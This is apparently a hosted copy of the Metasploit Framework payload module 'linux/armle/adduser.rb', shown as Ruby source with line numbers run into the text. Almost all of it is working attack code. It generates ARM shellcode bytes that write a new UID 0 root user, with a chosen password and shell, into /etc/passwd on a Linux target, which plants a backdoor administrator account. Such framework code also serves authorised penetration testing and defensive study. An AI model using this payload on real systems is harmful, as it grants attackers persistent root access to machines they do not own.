Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/linux/armle/adduser.rb
Views: 11780
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45###6#7# AddUser8# -------9#10# Adds a UID 0 user to /etc/passwd.11#12###13module MetasploitModule1415CachedSize = 1191617include Msf::Payload::Single18include Msf::Payload::Linux1920def initialize(info = {})21super(merge_info(info,22'Name' => 'Linux Add User',23'Description' => 'Create a new user with UID 0',24'Author' => [ 'Jonathan Salwan' ],25'License' => MSF_LICENSE,26'Platform' => 'linux',27'Arch' => ARCH_ARMLE,28'Privileged' => true))2930# Register adduser options31register_options(32[33OptString.new('USER', [ true, "The username to create", "metasploit" ]),34OptString.new('PASS', [ true, "The password for this user", "metasploit" ]),35OptString.new('SHELL', [ false, "The shell for this user", "/bin/sh" ]),36])37end3839#40# Dynamically builds the adduser payload based on the user's options.41#42def generate(opts={})43user = datastore['USER'] || 'metasploit'44pass = datastore['PASS'] || 'metasploit'45shell = datastore['SHELL'] || '/bin/sh'46str = "#{user}:#{pass.crypt('Az')}:0:0::/:#{shell}\n"47strl1 = [ (str.length)+52 ].pack('C*')48strl2 = [ str.length ].pack('C*')49pwdir = "/etc/passwd"50payload =51"\x05\x50\x45\xe0\x01\x50\x8f\xe2\x15\xff\x2f\xe1" +52"\x78\x46"+ strl1 + "\x30\xff\x21\xff\x31\xff\x31" +53"\xff\x31\x45\x31\xdc\x22\xc8\x32\x05\x27\x01\xdf" +54"\x80\x46\x41\x46\x08\x1c\x79\x46\x18\x31\xc0\x46" +55strl2 + "\x22\x04\x27\x01\xdf\x41\x46\x08\x1c\x06" +56"\x27\x01\xdf\x1a\x49\x08\x1c\x01\x27\x01\xdf" +57str + pwdir5859end60end616263